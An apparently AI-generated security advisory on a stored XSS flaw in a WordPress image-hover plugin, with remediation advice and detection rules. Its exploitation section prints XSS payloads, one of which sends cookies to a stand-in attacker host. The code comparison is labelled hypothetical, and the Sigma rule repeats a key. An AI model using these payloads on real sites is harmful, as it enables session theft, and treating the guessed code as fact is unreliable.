CVE-2025-31025

Executive Summary

CVE-2025-31025 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Image Hover Effects Block" by Blocksera, affecting versions up to and including 1.4.5. This vulnerability allows an authenticated attacker with at least Contributor-level privileges to inject arbitrary web scripts into the WordPress database. When a site administrator or other user views a page containing the malicious block, the script executes in their browser, potentially leading to session hijacking, defacement, or credential theft. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS score is 6.5 (Medium), with a vector emphasizing the need for high privileges and user interaction, but the impact is amplified in multi-tenant or high-traffic WordPress environments.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WordPress supply chain. Users who have installed this plugin from the WordPress repository are at risk. The lack of a patch from the vendor (Blocksera) means that site administrators must manually apply mitigations or remove the plugin to secure their installations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – The attacker must have Contributor-level or higher WordPress account.
• User Interaction (UI): Required – The victim must visit the compromised page.
• Scope (S): Changed – The vulnerability can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the prevalence of WordPress make this a significant threat for sites using the plugin. The EPSS score of 0.0% suggests low current exploitation, but this may change as the vulnerability becomes more widely known.

Deep Dive & Mechanics

The vulnerability exists in the image-hover-effects-block plugin, which provides custom Gutenberg blocks for image hover effects. The plugin fails to properly sanitize user-supplied input when rendering block attributes (e.g., caption text, link URLs, or custom CSS classes). An attacker with Contributor-level access can create or edit a post/page and insert the vulnerable block. By injecting malicious JavaScript into a block attribute (such as the caption field), the payload is stored in the WordPress database. When any user (including administrators) views the page, the unsanitized input is rendered directly into the HTML, causing the script to execute in the context of the victim's browser.

The root cause is the lack of output escaping for block attributes that are rendered as HTML. WordPress provides functions like esc_html() and wp_kses_post() for safe output, but the plugin likely uses raw echo or print statements without proper escaping.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS fixes.

Vulnerable Code (PHP – block render callback):

function render_image_hover_block($attributes) {
    $caption = $attributes['caption'];
    $output = '<div class="image-hover-block">';
    $output .= '<figcaption>' . $caption . '</figcaption>';
    $output .= '</div>';
    return $output;
}

Patched Code (PHP – with proper escaping):

function render_image_hover_block($attributes) {
    $caption = isset($attributes['caption']) ? esc_html($attributes['caption']) : '';
    $output = '<div class="image-hover-block">';
    $output .= '<figcaption>' . $caption . '</figcaption>';
    $output .= '</div>';
    return $output;
}

The patched version uses esc_html() to neutralize any HTML or JavaScript before output. Additionally, the plugin should use wp_kses_post() for rich text fields if HTML is allowed, but for simple text, esc_html() is sufficient.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the vulnerable plugin (version <= 1.4.5) installed and activated.
• A WordPress user account with at least Contributor privileges.

Steps:

1. Log in to the WordPress admin panel.
2. Create a new post or page.
3. Add the "Image Hover Effects Block" block.
4. In the block settings, locate a text field (e.g., "Caption" or "Link URL").
5. Inject a payload such as:

   <img src=x onerror=alert('XSS')>
   

   or a more sophisticated payload:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

6. Publish or save the post.
7. When an administrator or other user views the post, the script executes.

Note: No public exploit code is available at this time.

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin logs for unusual block creation or editing by low-privilege users.
• Use a Web Application Firewall (WAF) to block common XSS payloads in POST requests.
• Regularly scan the database for suspicious script tags in post content.

Hardening:

• Remove or disable the plugin until a patch is released.
• Restrict Contributor-level permissions to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use a WordPress security plugin that monitors file integrity and blocks malicious input.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/image-hover-effects-block/ (entire plugin directory)
• Database: Posts or pages containing the block with suspicious attributes (e.g., wp_posts.post_content containing <script> tags or onerror handlers).
• Network: Outbound HTTP requests to unknown domains from the WordPress server (potential data exfiltration).
• Logs: WordPress debug log entries showing errors related to the plugin's block rendering.

Detection Engineering

YARA Rule

rule CVE_2025_31025_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress post content related to CVE-2025-31025"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-31025"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $payload3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $plugin_path = "image-hover-effects-block"
    condition:
        any of ($payload*) and $plugin_path
}

Sigma Rule

title: CVE-2025-31025 Stored XSS in WordPress Image Hover Effects Block
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS exploitation attempts via the vulnerable plugin
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 'action=edit'
        sc-status: 200
    keywords:
        - 'image-hover-effects-block'
        - '<script'
        - 'onerror'
        - 'onload'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in block content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31025 Stored XSS Payload in WordPress"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=edit"; http_uri; content:"image-hover-effects-block"; http_client_body; pcre:"/(<script|<img[^>]+onerror|<svg[^>]+onload)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the image-hover-effects-block plugin from the WordPress admin panel.
2. Scan for compromise – Use a security scanner to check for injected scripts in posts and pages.
3. Audit user accounts – Review and restrict Contributor-level permissions.

Long-term Fix:

• The vendor (Blocksera) must release a patched version that properly escapes output. Until then, consider using an alternative plugin for image hover effects.
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Keep WordPress core, themes, and all plugins updated.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact security@valters-it.com.